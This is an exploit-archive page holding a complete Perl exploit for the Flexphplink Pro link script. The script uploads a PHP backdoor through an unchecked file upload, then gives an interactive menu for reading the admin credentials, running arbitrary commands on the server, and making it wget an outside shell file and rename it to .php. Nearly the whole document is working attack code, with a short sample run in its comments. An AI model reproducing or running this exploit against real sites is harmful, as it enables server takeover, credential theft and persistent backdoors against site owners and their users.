exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Flexphplink Pro File Upload

Flexphplink Pro File Upload
Posted Dec 31, 2008
Authored by Osirys | Site y-osirys.com

Exploit for Flexphplink Pro that allows for administrative detail disclosure, command execution, and shell upload.

tags | exploit, shell, file upload
SHA-256 | 32b74e04ee5a53cff65a02e972640df638f0923399c7101b9fd2490f7cd30ef7

Flexphplink Pro File Upload

Change Mirror Download
#!/usr/bin/perl

# HAPPY CHRISTMAS !!
# Flexphplink Pro
# https://www.hotscripts.com/jump.php?listing_id=21062&jump_type=1
# Bug: Arbitrary File Upload
# * I coded this exploit just for fun ;)
# Exploit coded by Osirys
# osirys[at]live[dot]it
# https://osirys.org
# Greets: x0r, miclen, emgent, str0ke, Todd and AlpHaNiX

# Example:
# osirys[~]>$ perl exp.txt https://localhost/flexphplinkproen/
# ============================
# Flexphplink Pro Exploit
# Coded by Osirys
# osirys[at]live[dot]it
# Proud to be italian
# ============================
# [+] https://localhost/flexphplinkproen/ backdoored, just type your choise:
# 1 - Admin Details Disclosure
# 2 - Arbitrary Command Execution
# 3 - Shell upload
# 4 - Exit
# 1
# [+] Extracting Admin Login Details .
# [+] Done:
# Username: admin
# Password: adminz
# osirys[~]>$


use HTTP::Request;
use LWP::UserAgent;


my $path = "/submitlink.php";
my $u_path = "/linkphoto/";
my $l_file = "back.php";

my $code = "<?php echo \"<b>RCE backdoor</b><br><br>\";if(!empty(\$_GET['cmd'])&&empty".
"(\$_GET['adm'])){echo\"<b>CMD: </b>\";system(\$_GET['cmd']);}elseif((\$_GET".
"['adm']==\"get\")&&empty(\$_GET['cmd'])){if(is_file(\"../const.inc.php3\" )".
"){include('../const.inc.php3');}elseif(is_file(\"../const.inc.php\")){ incl".
"ude ('../const.inc.php');}echo \"<b>Username: </b>\$admin_username\"; echo".
"\"<br>\"; echo \"<b>Password: </b>\$admin_password\"; } ?>";

my $host = $ARGV[0];

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

open ($file, ">", $l_file);
print $file "$code\n";
close ($file);

$dir = `pwd`;
my $f_path = $dir."/".$l_file;
$f_path =~ s/\n//;

my $url = $host.$path;
my $ua = LWP::UserAgent->new;
$time = time();
my $post = $ua->post($url,
Content_Type => 'form-data',
Content => [
title => 'abco',
url => 'def',
userfile => [$f_path, '.php'],
addlink => 'Add'
]
);

if (($post->is_success)&&($post->as_string=~ /Thank you for your submission/)) {
`rm -rf $f_path`;
cheek_fname($time);
($rcefile) || die "[-] Unable to find phpscript uploaded\n";
&go;
}
else {
print "[-] Unable to upload evil php-code !\n";
exit(0);
}

sub go() {
my $error = $_[0];
if ($error == -1) {
print "[-] Bad Choice\n\n";
}
elsif ($error == -2) {
print "[-] Bad shell url\n\n";
}
print "[+] $host backdoored, just type your choise:\n".
" 1 - Admin Details Disclosure\n".
" 2 - Arbitrary Command Execution\n".
" 3 - Shell upload\n".
" 4 - Exit\n";

$choice = <STDIN>;
$choice =~ /1|2|3|4/ || go("-1");
if ($choice == 1) {
&adm_disc;
}
elsif ($choice == 2) {
&exec_cmd;
}
elsif ($choice == 3) {
&shell_up;
}
elsif ($choice == 4) {
print "[-] Quitting ..\n";
exit(0);
}
}

sub adm_disc {
print "[+] Extracting Admin Login Details ..\n";
$exec_url = ($host.$u_path.$time.".php?adm=get");
$re = query($exec_url);
if ($re =~ /Username: <\/b>(.*)<br><b>Password: <\/b>(.*)/) {
my($user,$pass) = ($1,$2);
print "[+] Done: \n".
" Username: $user\n".
" Password: $pass\n";
}
else {
print "[-] Can't extract Admin Details.\n\n";
&go;
}
}

sub exec_cmd {
print "shell\$>\n";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = ($host.$u_path.$time.".php?cmd=".$cmd);
$re = query($exec_url);
if ($re =~ /<b>CMD: <\/b>(.*)/) {
print "[*] $1\n";
&exec_cmd;
}
else {
print "[-] Undefined output or bad cmd !\n";
&exec_cmd;
}
}

sub shell_up {
print "[+] Type now a link for your .txt shell\n".
" Shell name must be with .txt extension\n";
$s_link = <STDIN>;
$s_link =~ /.*\/(.*)\.txt/ || &go("-2");
$s_name = $1;
$exec_url = ($host.$u_path.$time.".php?cmd=wget ".$s_link);
$exec_url2 = ($host.$u_path.$time.".php?cmd=mv ".$s_name.".txt ".$s_name.".php");
query($exec_url); query($exec_url2);
print "[+] Your shell should be here: ".$host.$u_path.$s_name.".php\n";
}

sub cheek_fname() {
my $time = $_[0];
my $name = $time.".php";
$re = query($host.$u_path.$name);
if ($re =~ /<b>RCE backdoor<\/b>/) {
$rcefile = $name;
return;
}
}

sub query() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /https:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub banner {
print "\n".
" ============================ \n".
" Flexphplink Pro Exploit \n".
" Coded by Osirys \n".
" osirys[at]live[dot]it \n".
" Proud to be italian \n".
" ============================ \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Cheek that you provide a hostname address!\n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 https://hostname/cms_path\n\n";
exit(0);
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close